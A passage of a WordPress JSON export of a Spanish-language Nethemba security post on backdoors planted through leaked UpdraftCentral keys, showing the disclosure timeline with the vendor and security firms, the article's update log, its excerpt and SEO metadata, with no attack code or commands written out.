seguridad<\/h2>\n<ul>\n<li>19\/10\/2026: aviso a TeamUpdraft mediante el formulario de soporte premium, con registros y un an\u00e1lisis de la web A<\/li>\n<li>19\/10\/2026: ampliaci\u00f3n sobre los ataques a las webs B y C, la segunda muestra y una comparaci\u00f3n del User-Agent con el panel real<\/li>\n<li>19\/10\/2026: aviso a Wordfence y Patchstack para que puedan a\u00f1adir detecci\u00f3n y advertir a otros administradores<\/li>\n<li>19\/10\/2026: TeamUpdraft public\u00f3 un <a href=\"https:\/\/teamupdraft.com\/blog\/security-incident-october-2026\/\">comunicado sobre el incidente de seguridad<\/a> en el que confirma el acceso a la base de datos de clientes, incluidas las claves de UpdraftCentral<\/li>\n<li>19\/10\/2026: en su respuesta a nuestro aviso, TeamUpdraft confirm\u00f3 que considera comprometidas las claves de UpdraftCentral y pide a todos los clientes de UpdraftCentral que desconecten y revisen cada web. Al cierre de esta edici\u00f3n la versi\u00f3n de emergencia de UpdraftPlus a\u00fan no hab\u00eda salido (la \u00faltima es la 1.26.11 del 16\/10).<\/li>\n<li>19\/10\/2026: Patchstack public\u00f3 <a href=\"https:\/\/patchstack.com\/articles\/updraftcentral-key-compromise-wordpress-backdoors\/\">su propio an\u00e1lisis<\/a> y confirm\u00f3 las dos direcciones IP del atacante. Wordfence y Patchstack pidieron muestras.<\/li>\n<li>19\/10\/2026: enviamos a Wordfence y Patchstack las muestras de nuestras webs y, m\u00e1s tarde, los indicadores de la variante funcional que nos facilit\u00f3 otro administrador.<\/li>\n<li>19\/10\/2026: con el consentimiento de otros dos administradores afectados, enviamos a Wordfence y Patchstack sus muestras, incluida la tercera variante m\u00ednima, y los registros del cambio de la puerta trasera.<\/li>\n<li>19\/10\/2026: TeamUpdraft respondi\u00f3 a nuestras preguntas adicionales. El atacante tuvo acceso a teamupdraft.com desde la noche del s\u00e1bado 17\/10; el fabricante detect\u00f3 actividad sospechosa la noche del domingo 18\/10 y confirm\u00f3 la brecha hacia las 20:00 BST. Cerr\u00f3 la v\u00eda de acceso, cerr\u00f3 la sesi\u00f3n de todas las cuentas y empez\u00f3 a sustituir claves y credenciales. Seg\u00fan el fabricante, los secretos TOTP no pueden guardarse como hash, as\u00ed que con una filtraci\u00f3n de la base de datos hay que contar tambi\u00e9n con ellos. Como versi\u00f3n de emergencia indic\u00f3 la 2.26.12, que sin embargo no borra las claves (ver arriba). A\u00fan no sabe si publicar\u00e1 indicadores de compromiso.<\/li>\n<li>19\/10\/2026: avisamos a TeamUpdraft de que la versi\u00f3n 2.26.12 no borra las claves y de que el l\u00edmite de las 12:07 UTC del 18\/10 en la versi\u00f3n 1.26.13 no coincide con su comunicado, y preguntamos si la 2.26.13 est\u00e1 disponible para los clientes premium.<\/li>\n<li>20\/10\/2026: informamos a Wordfence y Patchstack de que la versi\u00f3n 2.26.12 no borra las claves, de la casilla \u00abAdd this website to UpdraftCentral\u00bb marcada por defecto y de otra muestra de la primera variante.<\/li>\n<li>20\/10\/2026: con el consentimiento de otro administrador, enviamos a Wordfence y Patchstack tres muestras de una misma web, incluida la variante m\u00ednima que se oculta de la lista de plugins.<\/li>\n<li>19\/10\/2026: Wordfence public\u00f3 <a href=\"https:\/\/www.wordfence.com\/blog\/2026\/10\/updraftcentral-connection-key-compromise\/\">su propio aviso<\/a>, que cita nuestro an\u00e1lisis, y una regla de cortafuegos tambi\u00e9n para la versi\u00f3n gratuita. Ni la regla ni el aviso tienen en cuenta todav\u00eda que la 1.26.12 \/ 2.26.12 no borra las claves.<\/li>\n<li>20\/10\/2026: avisamos a Wordfence de que su regla no cubre la 1.26.12 \/ 2.26.12, que no borran las claves, y de que el l\u00edmite de la revocaci\u00f3n son las 12:07 UTC. Wordfence y Patchstack recibieron los indicadores de los intentos de hoy de usar las puertas traseras.<\/li>\n<li>20\/10\/2026: con el consentimiento de otros tres administradores, enviamos a Wordfence y Patchstack doce muestras, incluida una segunda copia de la variante m\u00ednima oculta.<\/li>\n<li>20\/10\/2026: TeamUpdraft a\u00f1adi\u00f3 a su <a href=\"https:\/\/teamupdraft.com\/blog\/security-incident-october-2026\/\">comunicado<\/a> que la versi\u00f3n 1.26.13 \/ 2.26.13, publicada el 19\/10 poco despu\u00e9s de las 22:00 BST, revoc\u00f3 las claves de UpdraftCentral y que el acceso no autorizado se resolvi\u00f3. Sin embargo, sus instrucciones siguen recomendando la 1.26.12 \/ 2.26.12. A nuestra pregunta de qu\u00e9 versi\u00f3n instalar, el fabricante respondi\u00f3 con un enlace a ese comunicado.<\/li>\n<li>21\/10\/2026: avisamos a TeamUpdraft de que el atacante segu\u00eda enviando \u00f3rdenes de UpdraftCentral la ma\u00f1ana del 21\/10, de que sus instrucciones siguen indicando la 1.26.12 \/ 2.26.12 y de que la versi\u00f3n premium puede guardar la contrase\u00f1a de la cuenta de teamupdraft.com en la base de datos. El fabricante nos hab\u00eda respondido que pas\u00f3 nuestro art\u00edculo a sus desarrolladores.<\/li>\n<li>21\/10\/2026: En <a href=\"https:\/\/teamupdraft.com\/blog\/security-incident-october-2026\/\">actualizaciones de su comunicado<\/a>, TeamUpdraft indic\u00f3 que el atacante entr\u00f3 en teamupdraft.com con una clave comprometida, que el fabricante ha contratado a una empresa de seguridad externa y ha contactado con la polic\u00eda, y que WordPress.org distribuy\u00f3 la versi\u00f3n 1.26.13 autom\u00e1ticamente a todas las webs. Pide a los usuarios de la versi\u00f3n premium que revisen sus webs aunque nunca hayan usado UpdraftCentral. Seg\u00fan el fabricante, la rapidez del ataque y las puertas traseras inicialmente defectuosas sugieren que el atacante us\u00f3 IA. A nuestro \u00faltimo mensaje, el fabricante respondi\u00f3 que ya hab\u00eda actualizado las instrucciones y que recomienda a todos los clientes cambiar la contrase\u00f1a de teamupdraft.com. Sin embargo, a 22\/10 los pasos de las instrucciones segu\u00edan indicando la 1.26.12 \/ 2.26.12, y no se pronunci\u00f3 sobre el l\u00edmite de la revocaci\u00f3n. El fabricante corrigi\u00f3 ambas cosas a m\u00e1s tardar el 23\/10 (v\u00e9ase m\u00e1s abajo).<\/li>\n<li>22\/10\/2026: con el consentimiento de otro administrador, enviamos a Wordfence y Patchstack la muestra <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cache-jack-c7a<\/code> y el registro del intento del atacante de usarla el 20\/10.<\/li>\n<li>23\/10\/2026: TeamUpdraft corrigi\u00f3 su <a href=\"https:\/\/teamupdraft.com\/blog\/security-incident-october-2026\/\">comunicado<\/a> (\u00faltima actualizaci\u00f3n: 23\/10, 05:26 BST). Los pasos indican ahora la 1.26.13 \/ 2.26.13, y el comunicado da como l\u00edmite de las conexiones revocadas autom\u00e1ticamente las 13:07 BST (14:07 CEST) del 18\/10, lo que coincide con el c\u00f3digo. El fabricante nos inform\u00f3 de la correcci\u00f3n y nos pidi\u00f3 que actualiz\u00e1ramos este art\u00edculo.<\/li>\n<\/ul>\n<p>Si ha observado un ataque similar, escr\u00edbanos a info@nethemba.com. Facilitaremos muestras y m\u00e1s material t\u00e9cnico al fabricante y a equipos de seguridad que lo soliciten.<\/p>\n<h2 id=\"actualizaciones\">Actualizaciones<\/h2>\n<ul>\n<li>19\/10\/2026: primera publicaci\u00f3n.<\/li>\n<li>19\/10\/2026: aviso de que el registro de UpdraftCentral solo guarda 50 eventos y revisi\u00f3n del registro de accesos; recomendaci\u00f3n de no volver a conectar; pasos para webs totalmente comprometidas; precisi\u00f3n sobre las versiones afectadas por CVE-2026-10795.<\/li>\n<li>19\/10\/2026: a\u00f1adido el comunicado del fabricante, que confirma la filtraci\u00f3n de claves desde teamupdraft.com; actualizadas las recomendaciones, la correcci\u00f3n y el alcance.<\/li>\n<li>19\/10\/2026 (tarde): segunda variante con un administrador oculto, m\u00e1s muestras de la primera variante, segunda direcci\u00f3n IP, enlace al an\u00e1lisis de Patchstack, script de comprobaci\u00f3n versi\u00f3n 2.<\/li>\n<li>19\/10\/2026: a\u00f1adida la respuesta directa del fabricante a nuestro aviso.<\/li>\n<li>19\/10\/2026: confirmada una variante funcional en circulaci\u00f3n, m\u00e1s muestras de ambas variantes, revisi\u00f3n de los disparadores en el registro de accesos, protecci\u00f3n mediante una carpeta de plugins sin permiso de escritura, reconocimiento del 23\/09, script de comprobaci\u00f3n versi\u00f3n 3.<\/li>\n<li>19\/10\/2026: an\u00e1lisis de una muestra de la variante funcional (la ocultaci\u00f3n de la cuenta no funciona), tercera variante m\u00ednima, otra muestra de la primera variante, aviso sobre instalaciones repetidas, script de comprobaci\u00f3n versi\u00f3n 4.<\/li>\n<li>19\/10\/2026: el atacante sigue volviendo (cambio de la puerta trasera con <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.delete_plugin<\/code>, intentos de \u00f3rdenes en nuestras webs hasta la noche), selecci\u00f3n de webs seg\u00fan la lista de UpdraftCentral, script de comprobaci\u00f3n versi\u00f3n 5.<\/li>\n<li>19\/10\/2026: versi\u00f3n de emergencia del fabricante (la 1.26.12 no borra ninguna clave; la 1.26.13 funciona, pero no para las claves del 18\/10 entre las 14:07 y las 23:00 CEST), respuestas del fabricante a\u00f1adidas.<\/li>\n<li>20\/10\/2026: una clave de UpdraftCentral puede crearse sin que el propietario lo sepa (casilla marcada por defecto en la versi\u00f3n premium), otra muestra de la primera variante, nota sobre las IP detr\u00e1s de un proxy, script de comprobaci\u00f3n versi\u00f3n 6.<\/li>\n<li>20\/10\/2026: el script de comprobaci\u00f3n versi\u00f3n 7 distingue un registro de UpdraftCentral inexistente.<\/li>\n<li>20\/10\/2026: versi\u00f3n oculta de la variante m\u00ednima, m\u00e1s muestras, varias puertas traseras en una misma web, script de comprobaci\u00f3n versi\u00f3n 8.<\/li>\n<li>20\/10\/2026: otra muestra de la primera variante (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">nav-hub<\/code>).<\/li>\n<li>20\/10\/2026: diez muestras m\u00e1s de tres administradores, puertas traseras funcionales activas antes de la ca\u00edda de la web, significado de las l\u00edneas \u00abSignature verification failed\u00bb, nombres de autor recurrentes.<\/li>\n<li>20\/10\/2026: recomendaci\u00f3n de borrar tambi\u00e9n las claves de UpdraftPlus Migrator, script de comprobaci\u00f3n versi\u00f3n 9.<\/li>\n<li>20\/10\/2026: el atacante prueba los disparadores de puertas traseras eliminadas (nuevas IP), correcci\u00f3n: la versi\u00f3n gratuita tambi\u00e9n tiene la casilla marcada por defecto, significado de los c\u00f3digos de estado en el registro de accesos, enlace al aviso de Wordfence y su regla de cortafuegos, m\u00e1s nombres.<\/li>\n<li>20\/10\/2026: precisi\u00f3n sobre cu\u00e1ndo se crea una clave de UpdraftCentral.<\/li>\n<li>21\/10\/2026: a\u00f1adido el comunicado del fabricante del 20\/10, nuestras webs recibieron la 2.26.13, aviso sobre la contrase\u00f1a de la cuenta de teamupdraft.com guardada en la base de datos.<\/li>\n<li>21\/10\/2026: el atacante sigue enviando \u00f3rdenes de UpdraftCentral despu\u00e9s de publicarse la 1.26.13.<\/li>\n<li>21\/10\/2026: m\u00e1s intentos de usar las puertas traseras (nuevos rangos de IP), posibles comprobaciones relacionadas de la versi\u00f3n de UpdraftPlus.<\/li>\n<li>22\/10\/2026: nuevos comunicados del fabricante del 21\/10 (actualizaci\u00f3n forzada a trav\u00e9s de WordPress.org, empresa externa, polic\u00eda).<\/li>\n<li>22\/10\/2026: contrase\u00f1a de la cuenta de teamupdraft.com guardada en la base de datos y c\u00f3mo eliminarla, otro rango de IP en los intentos de usar las puertas traseras, script de comprobaci\u00f3n versi\u00f3n 10.<\/li>\n<li>22\/10\/2026: otra muestra de la primera variante (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cache-jack-c7a<\/code>).<\/li>\n<li>23\/10\/2026: a\u00f1adido con qu\u00e9 frecuencia la contrase\u00f1a de la cuenta de teamupdraft.com se queda en la base de datos.<\/li>\n<li>23\/10\/2026: prueba de un lector y comunicado del fabricante sobre la contrase\u00f1a guardada en la base de datos.<\/li>\n<li>26\/10\/2026: comunicado corregido del fabricante del 23\/10 (versiones 1.26.13 \/ 2.26.13 en las instrucciones, l\u00edmite 14:07 CEST); actualizados las versiones afectadas, la correcci\u00f3n y la comunicaci\u00f3n con el fabricante.<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>La noche del 19 de octubre de 2026 un atacante abus\u00f3 de UpdraftCentral, el servicio de gesti\u00f3n remota integrado en UpdraftPlus, un plugin de copias de seguridad con m\u00e1s de 4 millones de instalaciones, e instal\u00f3 una puerta trasera en dos de nuestras tres webs. Nuestras webs estaban totalmente actualizadas y el fallo no estaba de nuestro lado: el atacante firm\u00f3 sus \u00f3rdenes con claves v\u00e1lidas que genera y custodia el servicio UpdraftCentral Cloud. Publicamos un an\u00e1lisis de la puerta trasera, indicadores de compromiso y un procedimiento para revisar sus propias webs. El fabricante confirm\u00f3 despu\u00e9s que el atacante obtuvo la base de datos de clientes de teamupdraft.com, incluidas las claves de UpdraftCentral.<\/p>\n","protected":false},"author":2,"featured_media":9620,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1,1],"tags":[],"class_list":["post-9629","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.8 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Problema de seguridad cr\u00edtico en UpdraftCentral: un atacante con las claves del servicio instal\u00f3 una puerta trasera en nuestras webs - Nethemba<\/title>\n<meta name=\"description\" content=\"Un atacante us\u00f3 claves de UpdraftCentral (UpdraftPlus, m\u00e1s de 4 millones de instalaciones) para instalar una puerta trasera en WordPress. An\u00e1lisis e IOC.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Problema de seguridad cr\u00edtico en UpdraftCentral: un atacante con las claves del servicio instal\u00f3 una puerta trasera en nuestras webs - Nethemba\" \/>\n<meta property=\"og:description\" content=\"Un atacante us\u00f3 claves de UpdraftCentral (UpdraftPlus, m\u00e1s de 4 millones de instalaciones) para instalar una puerta trasera en WordPress. An\u00e1lisis e IOC.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/\" \/>\n<meta property=\"og:site_name\" content=\"Nethemba\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/nethemba\" \/>\n<meta property=\"article:published_time\" content=\"2026-10-19T05:44:05+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-10-26T03:36:27+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-es.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1200\" \/>\n\t<meta property=\"og:image:height\" content=\"1140\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Pavol Lupt\u00e1k\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@nethemba\" \/>\n<meta name=\"twitter:site\" content=\"@nethemba\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Pavol Lupt\u00e1k\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"63 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\"},\"author\":{\"name\":\"Pavol Lupt\u00e1k\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/person\\\/5f4ba68c8e1a2013d30e0804245b8234\"},\"headline\":\"Problema de seguridad cr\u00edtico en UpdraftCentral: un atacante con las claves del servicio instal\u00f3 una puerta trasera en nuestras webs\",\"datePublished\":\"2026-10-19T05:44:05+00:00\",\"dateModified\":\"2026-10-26T03:36:27+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\"},\"wordCount\":9278,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-es.png\",\"articleSection\":[\"Uncategorized\",\"Uncategorized\"],\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\",\"url\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\",\"name\":\"Problema de seguridad cr\u00edtico en UpdraftCentral: un atacante con las claves del servicio instal\u00f3 una puerta trasera en nuestras webs - Nethemba\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-es.png\",\"datePublished\":\"2026-10-19T05:44:05+00:00\",\"dateModified\":\"2026-10-26T03:36:27+00:00\",\"description\":\"Un atacante us\u00f3 claves de UpdraftCentral (UpdraftPlus, m\u00e1s de 4 millones de instalaciones) para instalar una puerta trasera en WordPress. An\u00e1lisis e IOC.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\",\"url\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-es.png\",\"contentUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-es.png\",\"width\":1200,\"height\":1140},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/nethemba.com\\\/home-new-2025\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Problema de seguridad cr\u00edtico en UpdraftCentral: un atacante con las claves del servicio instal\u00f3 una puerta trasera en nuestras webs\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#website\",\"url\":\"https:\\\/\\\/nethemba.com\\\/de\\\/\",\"name\":\"Nethemba\",\"description\":\"We care about your security\",\"publisher\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/nethemba.com\\\/de\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#organization\",\"name\":\"Nethemba\",\"url\":\"https:\\\/\\\/nethemba.com\\\/de\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2025\\\/03\\\/Logo-UP.png\",\"contentUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2025\\\/03\\\/Logo-UP.png\",\"width\":66,\"height\":70,\"caption\":\"Nethemba\"},\"image\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/nethemba\",\"https:\\\/\\\/x.com\\\/nethemba\",\"https:\\\/\\\/sk.linkedin.com\\\/company\\\/nethemba\",\"https:\\\/\\\/www.youtube.com\\\/@sabretoothatNethemba\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/person\\\/5f4ba68c8e1a2013d30e0804245b8234\",\"name\":\"Pavol Lupt\u00e1k\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g\",\"caption\":\"Pavol Lupt\u00e1k\"},\"sameAs\":[\"https:\\\/\\\/www.nethemba.com\\\/\"]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Problema de seguridad cr\u00edtico en UpdraftCentral: un atacante con las claves del servicio instal\u00f3 una puerta trasera en nuestras webs - Nethemba","description":"Un atacante us\u00f3 claves de UpdraftCentral (UpdraftPlus, m\u00e1s de 4 millones de instalaciones) para instalar una puerta trasera en WordPress. An\u00e1lisis e IOC.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","og_locale":"es_ES","og_type":"article","og_title":"Problema de seguridad cr\u00edtico en UpdraftCentral: un atacante con las claves del servicio instal\u00f3 una puerta trasera en nuestras webs - Nethemba","og_description":"Un atacante us\u00f3 claves de UpdraftCentral (UpdraftPlus, m\u00e1s de 4 millones de instalaciones) para instalar una puerta trasera en WordPress. An\u00e1lisis e IOC.","og_url":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","og_site_name":"Nethemba","article_publisher":"https:\/\/www.facebook.com\/nethemba","article_published_time":"2026-10-19T05:44:05+00:00","article_modified_time":"2026-10-26T03:36:27+00:00","og_image":[{"width":1200,"height":1140,"url":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-es.png","type":"image\/png"}],"author":"Pavol Lupt\u00e1k","twitter_card":"summary_large_image","twitter_creator":"@nethemba","twitter_site":"@nethemba","twitter_misc":{"Escrito por":"Pavol Lupt\u00e1k","Tiempo de lectura":"63 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#article","isPartOf":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/"},"author":{"name":"Pavol Lupt\u00e1k","@id":"https:\/\/nethemba.com\/de\/#\/schema\/person\/5f4ba68c8e1a2013d30e0804245b8234"},"headline":"Problema de seguridad cr\u00edtico en UpdraftCentral: un atacante con las claves del servicio instal\u00f3 una puerta trasera en nuestras webs","datePublished":"2026-10-19T05:44:05+00:00","dateModified":"2026-10-26T03:36:27+00:00","mainEntityOfPage":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/"},"wordCount":9278,"commentCount":0,"publisher":{"@id":"https:\/\/nethemba.com\/de\/#organization"},"image":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage"},"thumbnailUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-es.png","articleSection":["Uncategorized","Uncategorized"],"inLanguage":"es","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","url":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","name":"Problema de seguridad cr\u00edtico en UpdraftCentral: un atacante con las claves del servicio instal\u00f3 una puerta trasera en nuestras webs - Nethemba","isPartOf":{"@id":"https:\/\/nethemba.com\/de\/#website"},"primaryImageOfPage":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage"},"image":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage"},"thumbnailUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-es.png","datePublished":"2026-10-19T05:44:05+00:00","dateModified":"2026-10-26T03:36:27+00:00","description":"Un atacante us\u00f3 claves de UpdraftCentral (UpdraftPlus, m\u00e1s de 4 millones de instalaciones) para instalar una puerta trasera en WordPress. An\u00e1lisis e IOC.","breadcrumb":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/"]}]},{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage","url":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-es.png","contentUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-es.png","width":1200,"height":1140},{"@type":"BreadcrumbList","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/nethemba.com\/home-new-2025\/"},{"@type":"ListItem","position":2,"name":"Problema de seguridad cr\u00edtico en UpdraftCentral: un atacante con las claves del servicio instal\u00f3 una puerta trasera en nuestras webs"}]},{"@type":"WebSite","@id":"https:\/\/nethemba.com\/de\/#website","url":"https:\/\/nethemba.com\/de\/","name":"Nethemba","description":"We care about your security","publisher":{"@id":"https:\/\/nethemba.com\/de\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/nethemba.com\/de\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Organization","@id":"https:\/\/nethemba.com\/de\/#organization","name":"Nethemba","url":"https:\/\/nethemba.com\/de\/","logo":{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/nethemba.com\/de\/#\/schema\/logo\/image\/","url":"https:\/\/nethemba.com\/wp-content\/uploads\/2025\/03\/Logo-UP.png","contentUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2025\/03\/Logo-UP.png","width":66,"height":70,"caption":"Nethemba"},"image":{"@id":"https:\/\/nethemba.com\/de\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/nethemba","https:\/\/x.com\/nethemba","https:\/\/sk.linkedin.com\/company\/nethemba","https:\/\/www.youtube.com\/@sabretoothatNethemba"]},{"@type":"Person","@id":"https:\/\/nethemba.com\/de\/#\/schema\/person\/5f4ba68c8e1a2013d30e0804245b8234","name":"Pavol 